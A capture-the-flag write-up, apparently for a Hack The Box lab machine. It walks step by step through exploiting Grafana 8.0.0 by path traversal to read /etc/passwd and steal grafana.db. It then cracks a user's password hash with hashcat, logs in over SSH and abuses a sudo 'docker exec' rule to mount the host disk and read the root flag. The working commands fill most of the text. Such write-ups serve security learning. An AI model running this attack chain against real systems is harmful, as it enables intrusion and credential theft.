Initial Reconnaissance
Nmap Scan
I began the assessment with a comprehensive Nmap scan to identify open ports and running services on the target machine:
└─$ nmap -sV -vv -p- -A --min-rate 3000 -oN data.txt 10.129.179.91
Nmap scan report for 10.129.179.91 (10.129.179.91)Host is up, received echo-reply ttl 63 (0.063s latency).Scanned at 2025-10-03 23:39:48 +01 for 37sNot shown: 65533 closed tcp ports (reset)PORT STATE SERVICE REASON VERSION22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 2048 63:47:0a:81:ad:0f:78:07:46:4b:15:52:4a:4d:1e:39 (RSA)| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzybAIIzY81HLoecDz49RqTD3AAysgQcxH3XoCwJreIo17nJDB1gdyHYQERGigDVgG9hz9uB4AzJc87WXGi7TUM0r16XTLwtEX7MoMgmsXKJX/EoZGQsb1zyFnwQR00xsX2mDvHpaDeUh3EtsL1zAgxLSgi/uym4nLwjTHqpTmm0shwDqlpOvKBbL7IcQ3vVKkmy7o7TG7HYMHiDYF+Aw5BKnOTuVoMgGy3gaFXJqyhszV/6BD9UQALdrtAXKO3bO4D6g5gM9N78Om7kwRvEW3NDwvk5w+gA6wDFpMAigccCaP/JuEPoeqgV3r6cL4PovbbZkxQScY+9SuOGb78EjR| 256 7d:a9:ac:fa:01:e8:dd:09:90:40:48:ec:dd:f3:08:be (ECDSA)| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGUqvSE3W1c40BBItjgG3RCCbsMNpcqRV0DbxMh3qruh0nsNdNm9QuTflzkzqj0nxPoAmjUqq0SolF0UFHqtmEc=| 256 91:33:2d:1a:81:87:1a:84:d3:b9:0b:23:23:3d:19:4b (ED25519)|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPDOwcGGuUmX8fQkvfAdnPuw9tMrPSs4nai8+KMFzpvf3000/tcp open http syn-ack ttl 62 Grafana http| http-methods:|_ Supported Methods: GET HEAD POST OPTIONS|_http-favicon: Unknown favicon MD5: C308E3090C62A6425B30B4C38883196B| http-robots.txt: 1 disallowed entry|_/| http-title: Grafana|_Requested resource was /login|_http-trane-info: Problem with XML parsing of /evox/aboutDevice type: general purpose|routerRunning: Linux 5.X, MikroTik RouterOS 7.XOS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)TCP/IP fingerprint:OS:SCAN(V=7.95%E=4%D=10/3%OT=22%CT=1%CU=41988%PV=Y%DS=2%DC=T%G=Y%TM=68E050DOS:9%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPSOS:(O1=M552ST11NW7%O2=M552ST11NW7%O3=M552NNT11NW7%O4=M552ST11NW7%O5=M552ST1OS:1NW7%O6=M552ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECNOS:(R=Y%DF=Y%T=40%W=FAF0%O=M552NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AOS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(ROS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%FOS:=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%OS:RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Uptime guess: 13.337 days (since Sat Sep 20 15:35:03 2025)Network Distance: 2 hopsTCP Sequence Prediction: Difficulty=262 (Good luck!)IP ID Sequence Generation: All zerosService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 587/tcp)HOP RTT ADDRESS1 67.17 ms 10.10.14.1 (10.10.14.1)2 67.26 ms 10.129.179.91 (10.129.179.91)
Read data files from: /usr/share/nmapOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .The scan revealed only two open ports:
- Port 22/tcp: SSH service running OpenSSH 7.6p1
- Port 3000/tcp: HTTP service running Grafana
Grafana Version Identification
Navigating to the Grafana web interface, I identified version 8.0.0 running on the target system.

Exploiting the Path Traversal
This version was significant as Grafana 8.x is vulnerable to a path traversal vulnerability that allows local file read, as documented in this HackerOne report.
Using the PoC detailed in the HackerOne report, I crafted a request to read /etc/passwd through the path traversal:
└─$ curl "http://10.129.102.172:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"root:x:0:0:root:/root:/bin/ashbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdownhalt:x:7:0:halt:/sbin:/sbin/haltmail:x:8:12:mail:/var/mail:/sbin/nologinnews:x:9:13:news:/usr/lib/news:/sbin/nologinuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologinoperator:x:11:0:operator:/root:/sbin/nologinman:x:13:15:man:/usr/man:/sbin/nologinpostmaster:x:14:12:postmaster:/var/mail:/sbin/nologincron:x:16:16:cron:/var/spool/cron:/sbin/nologinftp:x:21:21::/var/lib/ftp:/sbin/nologinsshd:x:22:22:sshd:/dev/null:/sbin/nologinat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologinsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologinxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologingames:x:35:35:games:/usr/games:/sbin/nologincyrus:x:85:12::/usr/cyrus:/sbin/nologinvpopmail:x:89:89::/var/vpopmail:/sbin/nologinntp:x:123:123:NTP:/var/empty:/sbin/nologinsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologinguest:x:405:100:guest:/dev/null:/sbin/nologinnobody:x:65534:65534:nobody:/:/sbin/nologingrafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologinSince I had file read access, I targeted the Grafana database file which typically contains user credentials and configuration data:
└─$ curl "http://10.129.102.172:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Flib%2Fgrafana%2Fgrafana.db" --output grafana.db % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed100 584k 100 584k 0 0 1262k 0 --:--:-- --:--:-- --:--:-- 1261k└─$ file grafana.dbgrafana.db: SQLite 3.x database, last written using SQLite version 3035004, file counter 423, database pages 146, cookie 0x109, schema 4, UTF-8, version-valid-for 423Using SQLite Browser, I explored the database structure and discovered the user credentials table containing password hashes for two users: the admin user and another user named boris.

Password Hash Analysis and Cracking
Hash Format Conversion
To crack these hashes, I needed to convert them to a hashcat-compatible format using the grafana2hashcat script.
I extracted the password hashes and their associated salts into a structured format (hash,salt):
└─$ cat hashes.txtdc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8,LCBhdtJWjl7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8,YObSoLj55SUsing the grafana2hashcat conversion script, I transformed these into a hashcat-compatible format:
└─$ python3 grafana2hashcat.py hashes.txt -o hashcat_hashes.txt
[+] Grafana2Hashcat[+] Reading Grafana hashes from: hashes.txt[+] Done! Read 2 hashes in total.[+] Converting hashes...[+] Converting hashes complete.[+] Writing output to 'hashcat_hashes.txt' file.[+] Now, you can run Hashcat with the following command, for example:
hashcat -m 10900 hashcat_hashes.txt --wordlist wordlist.txt└─$ cat hashcat_hashes.txtsha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=sha256:10000:WU9iU29MajU1Uw==:epGeS76Vz1EE7fNU7i5iNO+sHKH4FCaESiTE32ExMizzcjySFkthcunnP696TCBy+Pg=Password Cracking
With the hashes in the correct format, I launched a dictionary attack using hashcat:
└─$ hashcat --username -m 10900 hashcat_hashes.txt /usr/share/wordlists/rockyou.txtDictionary cache hit:* Filename..: /usr/share/wordlists/rockyou.txt* Passwords.: 14344385* Bytes.....: 139921507* Keyspace..: 14344385
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=:beautiful1The password cracking was successful, revealing that the user boris had a weak password: beautiful1.
Initial Access
SSH Authentication
With the cracked credentials, I attempted SSH authentication to the target system:
└─$ ssh boris@10.129.102.172Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 5.4.0-1103-aws x86_64)
* Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro
System information as of Sat Oct 4 10:43:12 UTC 2025
System load: 0.02 Processes: 206 Usage of /: 41.2% of 4.78GB Users logged in: 0 Memory usage: 21% IP address for eth0: 10.129.102.172 Swap usage: 0% IP address for docker0: 172.17.0.1
Expanded Security Maintenance for Infrastructure is not enabled.
0 updates can be applied immediately.
122 additional security updates can be applied with ESM Infra.Learn more about enabling ESM Infra service for Ubuntu 18.04 athttps://ubuntu.com/18-04
Last login: Wed Jun 4 13:37:31 2025 from 10.10.14.62boris@data:~$ whoamiborisSuccessfully gained initial access to the system as user boris. it was running Ubuntu 18.04.6 LTS with Docker installed (evidenced by the docker0 interface).
Post-Exploitation and Privilege Escalation
Sudo Privileges Assessment
I tried to check what sudo privileges the current user had:
boris@data:~$ sudo -lMatching Defaults entries for boris on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User boris may run the following commands on localhost: (root) NOPASSWD: /snap/bin/docker exec *This was a significant finding as the user boris could execute docker exec commands as root without a password. This presented a clear path to privilege escalation through Docker container manipulation.
Docker Container Enumeration
To identify running Docker containers, I used systemd-cgtop to display container information:
systemd-cgtop
The output revealed a running Docker container with ID e6ff5b1cbc85c.
Docker Privilege Escalation
With the ability to execute docker exec as root and a running container identified, I crafted a command to gain root access by executing a privileged shell inside the container:
boris@data:~$ sudo docker exec --privileged -it -u root e6ff5b1cbc85c bashbash-5.1# mountoverlay on / type overlay (rw,relatime,lowerdir=/var/snap/docker/common/var-lib-docker/overlay2/l/2RMRALAZ4X3ETWWAFIO4URLCKU:/var/snap/docker/common/var-lib-docker/overlay2/l/C32RR2IYKIVOXMXZVRUH2EGVMU:/var/snap/docker/common/var-lib-docker/overlay2/l/CAVZGWG6DT37UBOHM6XHIUZUD5:/var/snap/docker/common/var-lib-docker/overlay2/l/3ATFAZLXUKTZ62T23IWWGNRXD2:/var/snap/docker/common/var-lib-docker/overlay2/l/42TJD6WDSINN56AZRW55R3ICO6:/var/snap/docker/common/var-lib-docker/overlay2/l/UTHFBRCC4KFYKXNBPIO52AZ7OQ:/var/snap/docker/common/var-lib-docker/overlay2/l/ZJJZSZR34MKC5KWMDRYIC4Q62C:/var/snap/docker/common/var-lib-docker/overlay2/l/EAWF5T66G6Z67H3LBO75E3NZCC:/var/snap/docker/common/var-lib-docker/overlay2/l/LMHE5BSBLFJITZ67RL5JIEM4SC,upperdir=/var/snap/docker/common/var-lib-docker/overlay2/90a0267386b75303aabacd2f202af4682d69d52a6d2e7e85ee93c3401e0938e3/diff,workdir=/var/snap/docker/common/var-lib-docker/overlay2/90a0267386b75303aabacd2f202af4682d69d52a6d2e7e85ee93c3401e0938e3/work,xino=off)proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)tmpfs on /sys/fs/cgroup type tmpfs (rw,nosuid,nodev,noexec,relatime,mode=755)cgroup on /sys/fs/cgroup/systemd type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,name=systemd)cgroup on /sys/fs/cgroup/memory type cgroup (rw,nosuid,nodev,noexec,relatime,memory)cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct)cgroup on /sys/fs/cgroup/pids type cgroup (rw,nosuid,nodev,noexec,relatime,pids)cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (rw,nosuid,nodev,noexec,relatime,net_cls,net_prio)cgroup on /sys/fs/cgroup/perf_event type cgroup (rw,nosuid,nodev,noexec,relatime,perf_event)cgroup on /sys/fs/cgroup/cpuset type cgroup (rw,nosuid,nodev,noexec,relatime,cpuset)cgroup on /sys/fs/cgroup/freezer type cgroup (rw,nosuid,nodev,noexec,relatime,freezer)cgroup on /sys/fs/cgroup/hugetlb type cgroup (rw,nosuid,nodev,noexec,relatime,hugetlb)cgroup on /sys/fs/cgroup/rdma type cgroup (rw,nosuid,nodev,noexec,relatime,rdma)cgroup on /sys/fs/cgroup/devices type cgroup (rw,nosuid,nodev,noexec,relatime,devices)cgroup on /sys/fs/cgroup/blkio type cgroup (rw,nosuid,nodev,noexec,relatime,blkio)mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)/dev/sda1 on /etc/resolv.conf type ext4 (rw,relatime)/dev/sda1 on /etc/hostname type ext4 (rw,relatime)/dev/sda1 on /etc/hosts type ext4 (rw,relatime)I now had root access inside the Docker container. The key insight here was that the host’s filesystem was accessible from within the container, as evidenced by the /dev/sda1 mounts.
Host Filesystem Access
To access the host filesystem and escalate to root on the host system, I mounted the host’s root filesystem:
bash-5.1# mount /dev/sda1 /mntRoot Access Achievement
With the host filesystem mounted, I navigated to the root directory and successfully accessed the root flag:
bash-5.1# cd /mntbash-5.1# lsbin dev home initrd.img.old lib64 media opt root sbin srv tmp var vmlinuz.oldboot etc initrd.img lib lost+found mnt proc run snap sys usr vmlinuzbash-5.1# cd root/bash-5.1# lsroot.txt snapbash-5.1# cat root.txt581d576d3f354b7ceca1b41760ce0596bash-5.1#